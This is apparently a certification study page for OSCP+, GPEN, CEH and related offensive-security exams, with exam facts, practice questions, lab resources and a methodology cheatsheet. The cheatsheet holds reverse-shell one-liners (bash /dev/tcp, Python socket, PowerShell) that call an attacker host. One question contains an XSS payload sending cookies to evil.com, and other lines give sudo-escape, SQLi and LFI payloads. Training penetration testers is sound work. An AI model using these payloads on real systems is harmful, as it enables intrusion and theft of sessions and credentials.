Free GIAC GPEN Study Guide & Flashcards — Plus OSCP+ Labs
Current, independent GIAC GPEN preparation plus OSCP+, GCIH, CEH v13, and related offensive-security credentials. Use original study notes, methodology guides, flashcards, practice scenarios, and legal lab resources without relying on recalled or leaked exam content.
Owner-source facts were reviewed on 30 September 2026. Exam formats change, so verify the linked OffSec, GIAC, and EC-Council pages before booking.
Start with the current GIAC GPEN exam facts, then drill the material.
This is independent study material, not a dump or copy of GIAC exam questions. Use the current owner-source format, build a hard-copy index, then reinforce concepts with the original flashcards and practice questions on this page.
Offensive security certifications covered
This page provides structured preparation for current OffSec, GIAC, and EC-Council credentials, with emphasis on GPEN and OSCP+. Study material includes penetration-testing methodology, enumeration and privilege-escalation references, report-writing guidance, original knowledge checks, and curated hands-on lab environments for legal practice.
Certifications
- OSCP / OSCP+ — OffSec's current exam guide describes a proctored private-network performance exam lasting 23 hours 45 minutes, followed by 24 hours to upload the required penetration-test report. The exam can be purchased without completing PEN-200 first; OffSec states there are no certification prerequisites.
- CEH v13 (Certified Ethical Hacker) — EC-Council currently lists a four-hour, 125-question multiple-choice certification exam. Its separate practical assessment is part of the CEH Master path and should not be confused with the knowledge exam.
- GIAC GPEN (GIAC Penetration Tester) — GIAC currently lists one proctored, three-hour exam with 82 questions, CyberLive hands-on components, and a 73% minimum passing score for the current version. SEC560 is a common aligned SANS training path, but GIAC certification preparation is not limited to one course.
- EC-Council / GIAC supplemental credentials — Coverage for eWPT (eLearnSecurity Web Application Penetration Tester), GWAPT (GIAC Web Application Penetration Tester), and GCIH (GIAC Certified Incident Handler).
Study material included
- Methodology guides — OSCP-focused guides covering Metasploit usage, manual exploitation workflows, Buffer overflow step-by-step, Active Directory attack chains (Kerberoasting, AS-REP Roasting, Pass-the-Hash), and report writing templates.
- Original practice questions — on-page knowledge checks and an interactive OSCP/PEN-200 concept test covering methodology, web security, privilege escalation, Active Directory, incident handling, and offensive-security fundamentals. These are independent study items, not vendor exam questions.
- Interactive concept test — a timed OSCP/PEN-200 knowledge check with feedback; pair it with authorized lab practice because the real OSCP+ assessment is performance-based.
- Flashcards and speed rounds — active-recall drills covering attack tools (nmap, Metasploit, Burp Suite, John the Ripper, Hydra), vulnerability types, CVE categories, and penetration testing terminology.
- Curated resources — current OffSec exam guidance, GIAC certification objectives and open-book rules, EC-Council CEH v13 information, PortSwigger Web Security Academy, TryHackMe, Hack The Box, OffSec Proving Grounds, and other legal hands-on labs.
Exam formats verified against certification owners.
Use this as the freshness baseline for the study material below. Certification vendors can revise formats and policies, so the owner page remains authoritative for your scheduled attempt.
- OffSec OSCP+ Exam Guide — 23h45m exam, 24h report window, current 100-point structure and reporting requirements.
- OffSec OSCP+ Exam FAQ — current policy states that bonus points are no longer available.
- GIAC GPEN — current exam format, passing score, CyberLive and objectives.
- GIAC Open Book Guidelines — hard-copy references allowed; internet and electronic documents prohibited.
- EC-Council CEH v13 — current four-hour, 125-question certification exam and separate practical pathway.
OSCP — Offensive Security Certified Professional
OffSec's current OSCP+ exam simulates a live network in a private VPN. Candidates have 23 hours 45 minutes to complete the proctored performance exam and another 24 hours to upload a professional penetration-test report. The current guide sets the passing threshold at 70/100 and states there are no certification prerequisites.
PEN-200 (PWK) course topics
Penetration Testing with Kali Linux — Foundations
Kali Linux environment setup, effective command line usage, Bash and Python scripting for automation, passive and active reconnaissance (OSINT, DNS enumeration, Nmap scanning strategies), web vulnerability scanning, and Netcat/Socat for file transfer and shells.
Exploitation
Buffer overflow exploitation (Windows and Linux x86 — stack-based, finding EIP offset, bad characters, shellcode), web application attacks (SQLi manual exploitation, XSS, file inclusion, command injection, file upload bypass), and exploiting public vulnerabilities using Exploit-DB and Metasploit (limited use).
Post-Exploitation — Windows
Windows privilege escalation (service misconfigurations, unquoted service paths, DLL hijacking, token impersonation, SeImpersonatePrivilege, AlwaysInstallElevated), Windows credential attacks (SAM extraction, LSASS dump, pass-the-hash), living off the land (PowerShell, LOLBins), and pivoting through networks.
Post-Exploitation — Linux
Linux privilege escalation (SUID/GUID binaries, sudo misconfiguration, cron jobs, writable /etc/passwd, kernel exploits, weak file permissions, capabilities abuse), credential hunting (history files, config files, .ssh directories), and pivoting using SSH tunnels and chisel.
Active Directory
AD enumeration (BloodHound, PowerView, ldapsearch), Kerberoasting, AS-REP Roasting, pass-the-ticket, pass-the-hash in AD contexts, DCSync, Silver Ticket and Golden Ticket attacks, ACL abuse (WriteDACL, GenericAll, ForceChangePassword), and lateral movement through AD environments.
Report Writing
OffSec requires a professional penetration-test report that clearly documents successful exam objectives, including the exploitation process, commands, output, screenshots, and required proof evidence. The current submission window is 24 hours after the exam ends, and the report must follow OffSec's current file-format and upload rules.
OSCP+ exam strategy — evidence-first workflow
- Enumerate thoroughly first — most exam failures are from missing a service or misconfiguration during enumeration, not inability to exploit
- Plan rest deliberately — the current 23h45m exam window is long enough that fatigue management, documentation, and time-boxing materially affect execution quality
- Take notes continuously — commands run, output received, screenshots; the report depends on your notes
- Don't tunnel-vision — if stuck for 45 minutes, move to the next machine and return later
- Active Directory is highest value — understand the AD attack chain completely; it represents a significant portion of exam points
- Metasploit is limited — one machine only; use manual exploitation for all others
- Know your tools cold — nmap, gobuster/feroxbuster, linpeas/winpeas, BloodHound, impacket, chisel, ligolo-ng
CEH — Certified Ethical Hacker
EC-Council's current CEH v13 certification exam is a four-hour, 125-question multiple-choice assessment. The program also has a separate six-hour practical assessment with 20 challenges for the CEH Master pathway. Use EC-Council's current eligibility and exam pages for the requirements that apply to your route.
Reconnaissance & Footprinting
Information gathering techniques (OSINT, Google hacking / dorks, Shodan, Maltego, theHarvester), DNS footprinting (zone transfer, record types), email footprinting (email header analysis, tracking pixels), social engineering reconnaissance, and dark web intelligence gathering.
Scanning & Enumeration
Network scanning (Nmap scan types: SYN, TCP Connect, UDP, NULL, FIN, XMAS, IDLE), OS fingerprinting (TTL values, window sizes), service enumeration techniques, vulnerability scanning (Nessus, OpenVAS), SNMP enumeration, LDAP enumeration, and banner grabbing.
System Hacking
Password cracking methods (dictionary, brute force, rule-based, rainbow tables — tools: Hashcat, John the Ripper, Hydra), privilege escalation techniques, covering tracks (log manipulation, Rootkit installation), and steganography (hiding data in images, audio, and video files — tools: OpenStego, Steghide).
Network, Web, and Application Attacks
Network attacks (sniffing, ARP poisoning, MITM, DHCP starvation, MAC flooding), web application attacks (OWASP Top 10, SQL injection, XSS, CSRF, SSRF, XXE), denial of service and DDoS techniques and countermeasures, session hijacking, and cryptographic attacks (birthday attack, collision attack, downgrade attack).
Emerging Threat Areas
IoT and OT/SCADA attack vectors, cloud security attack techniques (cloud enumeration, misconfiguration exploitation, instance metadata attacks), mobile platform hacking (Android and iOS vulnerabilities, APK reverse engineering), and AI-augmented attack techniques (prompt injection, adversarial ML, AI-generated phishing).
GIAC Certifications — SANS-Aligned Track
GIAC Certifications administers practitioner certifications such as GPEN and GCIH; SANS courses are commonly aligned training options. GIAC exams are open book, but the current policy permits hard-copy books and notes only—not internet access or electronic documents. Exact question counts, durations, CyberLive content, and passing scores are certification- and version-specific.
GIAC Security Essentials
Comprehensive foundational security certification. Covers: access control, cryptography, DNS, network protocols (TCP/IP stack in depth), network security (firewalls, IDS/IPS, VPN), Linux and Windows security fundamentals, cloud security basics, incident response, and vulnerability scanning. Equivalent to Security+ but significantly more technical. Good first GIAC cert.
GIAC Penetration Tester
Current GPEN objectives cover penetration-testing planning and process, reconnaissance and scanning, password attacks, exploitation, post-exploitation, Active Directory and Azure AD attack techniques, web application attacks, and reporting. The current exam page lists 82 questions, three hours, CyberLive components, and a 73% minimum passing score.
GIAC Certified Incident Handler
Incident response and threat hunting. Covers: the attack lifecycle (reconnaissance, exploitation, post-exploitation), hacker tools and techniques (understanding attacker TTPs), incident handling phases, evidence collection, containment strategies, and network forensics. Valued for SOC team leads and IR consultants. Aligns to MITRE ATT&CK framework.
GIAC Web Application Penetration Tester
Web application security testing. Covers: OWASP Top 10 deep-dive, SQL injection (manual and automated), XSS exploitation chains, CSRF, SSRF, XXE, authentication attacks, session management testing, API security testing, and JavaScript security analysis. Ideal for application security engineers and web pentesters.
GIAC Certified Enterprise Defender
Defensive security and enterprise security architecture. Covers: network security monitoring, intrusion detection (Snort/Suricata rule writing), vulnerability management, web proxies, defence architecture design, and continuous monitoring. Bridges the gap between defensive operations and security engineering.
GIAC Reverse Engineering Malware
Malware analysis and reverse engineering. Covers: static analysis (strings, PE headers, disassembly with Ghidra/IDA), dynamic analysis (sandbox analysis, behavioural analysis), x86/x64 assembly basics, obfuscation and unpacking, memory forensics, and malware family identification. Advanced cert — recommended after GCIH or significant incident response experience.
GIAC exam strategy — build a hard-copy index
GIAC's current open-book policy permits hard-copy books, printed notes, and an index, but prohibits internet access and electronic documents. Because format and duration vary by certification, build an index around the exact objectives and attempt details shown in your GIAC account:
- Create a master index document with every key concept, tool, command, and page number from your notes
- Tab/colour-code your printed notes by topic area
- Practise with the GIAC practice exams until you can answer without looking up most questions — use the index only for confirming details
- Know tool flags and output formats cold — many questions show tool output and ask for interpretation
EC-Council Advanced Certifications
Certified Penetration Testing Professional
EC-Council's current CPENT AI assessment is a 24-hour remotely proctored, performance-based exam that may be taken as one 24-hour session or two 12-hour sessions, followed by a penetration-test report due within seven days. Current cut scores vary by exam form.
Computer Hacking Forensic Investigator
Digital forensics certification covering: forensic investigation process (first responder, evidence acquisition, chain of custody), Windows forensics (registry, event logs, browser artefacts, prefetch), mobile forensics, network forensics (packet capture analysis, log correlation), cloud forensics, and forensic reporting for legal proceedings.
EC-Council Certified Security Analyst
EC-Council currently offers an ECSA grandfathering program with competence-verification and skills-validation routes for experienced cybersecurity professionals. Because the program and eligibility routes can change, use EC-Council's current ECSA page rather than older ECSA exam handbooks as the source of truth.
Certified Application Security Engineer
Application security engineering focused on Java or .NET platforms. Covers SAST, DAST, secure coding practices for the specific platform, threat modelling, penetration testing of applications, and DevSecOps integration. Niche cert valued by application security teams in Java or .NET shops.
Practice Questions — Offensive Security
1. (CEH) A penetration tester uses Nmap and observes that a target host responds to SYN packets with SYN-ACK but then the connection is reset. Which type of port scan is being used, and what does this result indicate?
2. (GCIH) During an incident investigation, an analyst finds that an attacker has created a scheduled task on a compromised Windows host to run a PowerShell script every 15 minutes. Which MITRE ATT&CK tactic does this represent?
3. (OSCP / GPEN) A penetration tester has compromised a Linux host and finds the following output when running sudo -l: (ALL) NOPASSWD: /usr/bin/find. Which technique allows privilege escalation?
find has NOPASSWD sudo permissions, the -exec flag can be used to execute arbitrary commands as root. Running sudo find . -exec /bin/bash \; -quit spawns a bash shell as root. This is a standard GTFOBins (gtfobins.github.io) technique — a reference every penetration tester should know for sudo, SUID, and capability privilege escalation.
Lab & Environment Guide
Offensive security certifications require extensive hands-on practice. Below are the key platforms for building practical skills before attempting OSCP, CEH, or GIAC hands-on exams.
Hack The Box (HTB)
The premier platform for OSCP preparation. HTB machines closely match OSCP exam difficulty and style. Key advice:
- Complete all "Retired Easy and Medium" Linux and Windows machines before your OSCP exam
- Use HTB Academy's CPTS path for structured learning alongside the PEN-200 course
- Practice the Pro Labs (Offshore, RastaLabs) for Active Directory chaining
TryHackMe
Guided, beginner-friendly rooms with step-by-step walkthroughs. Good starting point before HTB:
- Complete "Jr Penetration Tester" path before attempting HTB
- Use the "Red Teaming" path for post-exploitation and AD techniques
- Covers CEH and CompTIA PenTest+ aligned rooms
Offensive Security Proving Grounds (PG)
Offensive Security's own practice lab — machines rated "Try" and "Play" are free; "Practice" is paid. Machines are curated to match OSCP exam style. Recommended alongside HTB for OSCP candidates.
Local lab with Vulnhub
Vulnhub provides free downloadable vulnerable VMs for offline practice. Run them in VirtualBox or VMware alongside your Kali or Parrot OS attacker VM. Good for practising without an internet connection and for understanding older CVEs.
GIAC practice exam access
GIAC sells official practice tests for GPEN and other certifications. Use legitimate practice material to calibrate your hard-copy index, and re-check GIAC's current open-book policy before the live exam. Do not use recalled, copied, or leaked exam questions.
Essential tools to master
- Reconnaissance: Nmap, Gobuster, Feroxbuster, Nikto, WhatWeb
- Exploitation: Metasploit (limited), Searchsploit, manual PoC adaptation
- Post-exploitation: LinPEAS, WinPEAS, BloodHound, Mimikatz, Impacket suite
- Pivoting: Chisel, Ligolo-ng, SSH dynamic port forwarding
- Reporting: CherryTree, Obsidian, or Notion for note-taking during engagements
Explore other certification tracks
Practice Questions — CEH & GIAC Pen Test
CEH v13 includes a knowledge-based certification exam, while current GPEN also includes GIAC CyberLive hands-on components. These original questions focus on concepts and methodology and are not copied from vendor exams or practice tests.
1. (CEH) A hacker sends a TCP SYN packet to a target port but never completes the three-way handshake. What type of scan is this?
2. (CEH) During reconnaissance, an attacker queries WHOIS, reviews job postings, and searches for employee LinkedIn profiles. Which phase of the EC-Council hacking methodology does this represent?
3. (GPEN) A penetration tester has SYSTEM-level access on a Windows host and wants to extract password hashes from the SAM database without rebooting. Which tool accomplishes this?
lsadump::sam module dumps NTLM hashes from the SAM database using the registry (requires SYSTEM privileges and Volume Shadow Copy or registry hive techniques). sekurlsa::logonpasswords (A) extracts plaintext credentials and NTLM hashes from LSASS memory — useful for currently logged-in users. John the Ripper (C) cracks hashes offline after extraction. CrackMapExec (D) is used for network-wide lateral movement and credential spraying.
4. (CEH) An attacker intercepts communication between a client and server and presents a forged certificate to the client. The client's browser shows a certificate warning. What type of attack is this?
5. Which of the following BEST describes the purpose of a Rules of Engagement (RoE) document in a penetration test?
Practice Scenarios — OSCP Methodology
OSCP success depends on methodology, not memorisation. These scenarios reinforce the enumeration → exploitation → privilege escalation workflow you must execute under exam pressure. Practice these against TryHackMe and HackTheBox machines until they become automatic.
Scenario 1: You have shell access as an unprivileged Linux user. Which enumeration step should be performed FIRST to identify privilege escalation paths?
linpeas.sh is the de facto standard — it gathers OS version, kernel, users, sudo -l output, SUID binaries (cross-referenced with GTFOBins), capability flags, writable paths in PATH, cron jobs running as root, listening services on localhost, and credentials in environment variables. Reading the output systematically reveals at least one viable privesc path on 95% of exam-difficulty machines. Kernel exploits (A) are a last resort — they can crash the target and are often patched on modern systems.
Scenario 2: An nmap scan reveals port 80 (HTTP) and 8080 (HTTP-alt) open. The default scan shows "Apache 2.4.41" on both ports. What is the next BEST step?
Scenario 3: A Windows machine exposes SMB on port 445 and shows "Server 2016". You have no credentials. What enumeration tooling should you use?
smbclient -L //target -N lists shares accessible to null sessions; enum4linux-ng -A target enumerates users, shares, password policy, and OS info; crackmapexec smb target confirms signing requirements, SMB version, and null session viability. After enumeration, attempt anonymous access to accessible shares — credentials and config files are frequently found in IPC$ and other readable shares. Only attempt EternalBlue (A) after confirming unpatched SMBv1 — it can crash modern Windows hosts.
Scenario 4: You have a low-privilege Windows shell. Running whoami /priv shows SeImpersonatePrivilege is enabled. Which exploitation path does this enable?
Scenario 5: You successfully pop a reverse shell with netcat but the connection is unstable — Ctrl-C kills your shell, tab completion doesn't work, and arrow keys produce garbage. How do you upgrade to a fully interactive TTY?
python3 -c 'import pty; pty.spawn("/bin/bash")' (or python, script, socat, etc.); 2) Ctrl-Z to background the netcat listener; 3) on local: stty raw -echo; fg (typing fg blind, then Enter twice); 4) on target: export TERM=xterm-256color and stty rows 50 cols 200. Result: full TTY with tab completion, arrow keys, Ctrl-C, vim/nano, and SSH-like usability. Saves hours during exam.
Practice Questions — Web Application Penetration Testing
Web apps are the dominant attack surface — OSCP 2024+, CEH, GPEN, and PenTest+ all heavily test web vulnerabilities. Master the OWASP Top 10 and Burp Suite workflow.
1. A login form sends credentials over HTTPS but the password field validation is performed client-side in JavaScript before submission. Why is this an inadequate control?
2. During testing, you submit ' OR '1'='1 in a login form and receive a successful login as the first user in the database. What vulnerability is this?
SELECT * FROM users WHERE username='$user' AND password='$pass' becomes SELECT * FROM users WHERE username='' OR '1'='1' AND password=''. The OR clause is always true, returning all users. Many applications grant the session to the first row (often the admin). Defence: parameterised queries (prepared statements) — never concatenate user input into SQL. Modern ORMs handle this correctly by default.
3. A web application allows authenticated users to download invoices by visiting /invoice?id=1234. By changing the ID, you can view other customers' invoices. What vulnerability class is this?
4. A penetration tester wants to confirm a suspected blind SQL injection on a search field. The application returns the same response regardless of input. Which technique can confirm injection?
5. A web application fetches user-supplied URLs on the server to generate previews. What vulnerability does this represent and what is the highest-risk target an attacker would probe?
6. A web application stores user-supplied comments and later renders them in the admin panel without HTML-encoding. An attacker submits <script>document.location='https://evil.com/steal?c='+document.cookie</script>. What is the attack type and impact?
7. During a black-box web assessment, you notice that the application includes the file name from a URL parameter: /view?page=about.php. What should you test for?
include($_GET['page']) in PHP) is a classic LFI entry point. Test with ../../../etc/passwd (and URL-encoded variants %2e%2e%2f) to read sensitive files. Advanced LFI can chain to RCE via: PHP log poisoning (inject PHP into Apache/Nginx access logs via User-Agent, then include the log file), PHP filter chains, /proc/self/environ, and session file inclusion. This is a core OSCP technique — every candidate should practice LFI to RCE escalation. Reference: HackTricks — File Inclusion.
Offensive Security Certification FAQ
What is the current OSCP+ exam format?
OffSec's current exam guide gives candidates 23 hours 45 minutes in a proctored private-network exam, followed by 24 hours to upload the required penetration-test report. The current structure totals 100 points and requires 70 points to pass.
What is the current CEH v13 exam format?
EC-Council currently lists the CEH v13 certification exam as four hours with 125 multiple-choice questions. A separate six-hour practical assessment with 20 challenges is used in the CEH Master pathway. For U.S. Department of Defense workforce qualification, check the current DoD 8140/DCWF qualification matrix rather than older DoD 8570 mappings.
What is the current GPEN exam format?
GIAC currently lists GPEN as one proctored exam with 82 questions, a three-hour time limit, CyberLive hands-on components, and a 73% minimum passing score for the current version. GIAC advises candidates to confirm the exact version assigned to their attempt in their account.
Are GIAC exams really open book?
Yes, but GIAC's current policy limits exam references to hard-copy books and notes. Internet access, electronic documents, phones, additional computers, and other electronic resources are not allowed. Build and rehearse a printed index before exam day.
Interactive Concept Test — OSCP / PEN-200
OSCP+ is performance-based, so multiple-choice study cannot replace authorized lab practice. This original concept test checks methodology and defensive understanding around enumeration, web vulnerabilities, privilege escalation, and Active Directory without reproducing live exam content.
Loading the interactive concept test… If it does not load, ensure JavaScript is enabled.
Real-World Walkthrough: HAFNIUM / Exchange Server (2021)
The 2021 Microsoft Exchange ProxyLogon chain is the perfect bridge between OSCP techniques and real-world incident response. The chain begins with an SSRF, escalates to authentication bypass, then drops a webshell — a textbook OSCP "find the entry, escalate, persist" pipeline.
The exploit chain
- CVE-2021-26855 (SSRF): Server-side request forgery in Exchange's frontend autodiscover service lets an unauthenticated attacker craft requests that Exchange treats as internal — bypassing authentication entirely.
- CVE-2021-26857 (Insecure deserialization): Once authenticated (via the SSRF), the attacker triggers unsafe .NET deserialization in the Unified Messaging service, achieving RCE as SYSTEM.
- CVE-2021-26858 / CVE-2021-27065 (Arbitrary file write): Used to drop webshells (China Chopper variants) into the Exchange web root.
- Persistence: Webshell at a predictable path (
/owa/auth/<random>.aspx) enabled long-term access. Tens of thousands of organisations were compromised before the patches were widely applied.
OSCP-skill mapping
- Enumeration: Recognising Exchange (port 443 + autodiscover endpoints) is the kind of fingerprinting drilled in OSCP. Nuclei templates for CVE-2021-26855 + manual curl confirmation = OSCP methodology.
- Web exploitation: SSRF → authentication bypass → file write → RCE is a chained-vulnerability technique that mirrors how OSCP web challenges escalate from a small bug to full compromise.
- Web shell deployment: Writing files into a web root and accessing them via HTTP is a foundational OSCP skill (think: file upload bypass exercises).
- Post-exploitation: Exchange runs as a high-privilege account on a domain-joined host — instant pivot into Active Directory enumeration. BloodHound + Kerberoasting + DCSync = predictable next moves.
- Detection & defence: ProxyLogon teaches the defensive side too — out-of-band patching is mandatory, EDR must look for child processes of
w3wp.exe, and Exchange should never have direct internet exposure without protective architecture (Exchange Edge or M365 fronting). - Career relevance: Real-world engagements include Exchange/SharePoint/IIS targets constantly. OSCP gives you the tooling; cases like HAFNIUM teach you why it matters.
Helpful Materials — OSCP & Offensive Tracks
OSCP is a lab certification. No amount of reading replaces lab time. Every resource below is free or free-tier. The most effective preparation uses structured learning (TryHackMe/PortSwigger) before unstructured practice (VulnHub/HTB free tier).
Free web security training (essential)
- PortSwigger Web Security Academy — completely free — 250+ interactive labs covering SQLi, XSS, SSRF, XXE, IDOR, CSRF, deserialization, HTTP request smuggling, OAuth flaws. Used by professional pentesters; the gold standard for web-app technique practice.
- OWASP WebGoat — free deliberately vulnerable app — run locally; covers OWASP Top 10 exploits with guided challenges
- OWASP Juice Shop — free modern vulnerable web app — 100+ challenges; realistic Node.js/Angular app; used in OWASP events globally
Free practice lab platforms
- TryHackMe — Offensive Pentesting path (free tier) — structured guided rooms; subscription unlocks more rooms but the free tier has 100+ labs
- VulnHub — free downloadable OSCP-style VMs — run locally in VirtualBox/VMware; search by difficulty and technique. Focus on: Kioptrix, Mr Robot, DC series, Sunset series.
- HackTheBox free tier — 2 active machines always free; retired machines (with published writeups) available with VIP but all writeups are freely searchable
- Official OSCP exam guide (rules, allowed tools, reporting requirements) — free to read; essential before booking
Official primary references (all free)
- MITRE ATT&CK — free adversary techniques framework — use for mapping techniques to tactics; every OSCP technique has an ATT&CK entry
- OWASP Top 10 (2021 edition) — mandatory reading; defines the web vulnerabilities you will find in OSCP web challenges
- OWASP Web Security Testing Guide (WSTG) v4.2 — comprehensive free guide covering every web test category
- CISA Known Exploited Vulnerabilities (KEV) catalogue — real exploited CVEs; good source for understanding what techniques are operationally relevant
Free reference cheatsheets
- GTFOBins — Linux privilege escalation via SUID/sudo binaries — searchable; every binary that can be abused for privesc
- LOLBAS — Windows living-off-the-land binaries — same concept for Windows; how attackers abuse built-in tools
- HackTricks — free techniques reference (Carlos Polop) — exhaustive community-maintained guide to nearly every technique in OSCP
- PayloadsAllTheThings — free payload reference on GitHub — injection payloads, bypass lists, encoded variants
Free Active Directory resources
- ADSecurity.org — Sean Metcalf's reference site (free) — the definitive reference on Kerberos attacks, Golden/Silver Ticket, ADCS abuse
- BloodHound + SharpHound documentation (free tool) — attack-path graphs; mandatory for any AD engagement
- PEASS-ng (WinPEAS/LinPEAS) — free privilege escalation tool
Communities (free)
- r/oscp — pass/fail breakdowns, study plans — search "TJ Null list" for the curated machine list
- TJ Null's OSCP preparation list (GitHub) — the community-standard machine list for exam preparation
OSCP Methodology Cheatsheet
Reusable commands and methodology blocks. Print this for exam day.
Initial recon
nmap -sV -sC -p- --min-rate 5000 -T4 -oN nmap/all $Tnmap -sU --top-ports 50 -oN nmap/udp $T(UDP often skipped)ffuf -u http://$T/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php,.html,.txtgobuster vhost -u http://$T -w subdomains-top1million-5000.txtsmbclient -L //$T -N·enum4linux-ng -A $T
Linux PrivEsc checklist
sudo -l(and check GTFOBins for every binary)find / -perm -4000 -type f 2>/dev/null(SUID)- linPEAS / LinEnum automated enumeration
- Check
/etc/cron*,/var/spool/cron, writable PATH - Kernel exploits (last resort) —
uname -avs exploit-db - NFS no_root_squash, weak file caps, capabilities (
getcap -r / 2>/dev/null)
Windows PrivEsc checklist
whoami /priv /groups- WinPEAS / PowerUp.ps1
- Unquoted service paths, weak service ACLs
- AlwaysInstallElevated registry keys
- GPP cpassword in
\\domain\SYSVOL - Token impersonation: PrintSpoofer / GodPotato (SeImpersonate)
- SeBackupPrivilege → read SAM/SYSTEM hives
Reverse shells (one-liners)
bash -i >& /dev/tcp/$ATTACKER/4444 0>&1python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$ATTACKER",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'- PowerShell:
$c=New-Object Net.Sockets.TCPClient("$ATTACKER",4444);… - Stabilise:
python3 -c 'import pty;pty.spawn("/bin/bash")'→ Ctrl+Z →stty raw -echo; fg
Active Directory toolkit
- BloodHound + SharpHound — attack-path graphs
- impacket-GetUserSPNs / GetNPUsers — Kerberoast / ASREProast
- impacket-secretsdump — DCSync once you have rights
- evil-winrm — shell with creds or NT hash
- Rubeus — ticket request / Pass-the-Ticket / S4U abuse
Flashcards & Term-Matching Game
Active recall beats passive reading for long-term retention. Use the flashcards to drill definitions and the matching game to reinforce connections between concepts. Shuffle to mix domains and reset to start fresh. Keyboard navigation supported on flashcards.
Flashcard Deck — Key Terms
Loading flashcards… ensure JavaScript is enabled.
Term-Matching Game
Click a term on the left, then click its matching definition on the right. Correct pairs lock in green; wrong pairs flash red. Complete all pairs to advance to the next round.
Loading matching game… ensure JavaScript is enabled.
Speed Round — True or False
You have 10 seconds per statement. Answer TRUE or FALSE before the timer runs out. Build a combo multiplier for consecutive correct answers and beat your session high score.
Loading speed round… ensure JavaScript is enabled.
Fill in the Blank
Read the clue and type the missing term. One typo is forgiven for longer answers. Use the hint button if you're stuck — but it costs half the question's points.
Loading fill-in-the-blank… ensure JavaScript is enabled.
Domain Sprint — Categorise the Term
A term appears — click the correct exam domain it belongs to. Correct selections score 100 pts; wrong selections deduct 25 pts. Master domain knowledge before exam day.
Loading domain sprint… ensure JavaScript is enabled.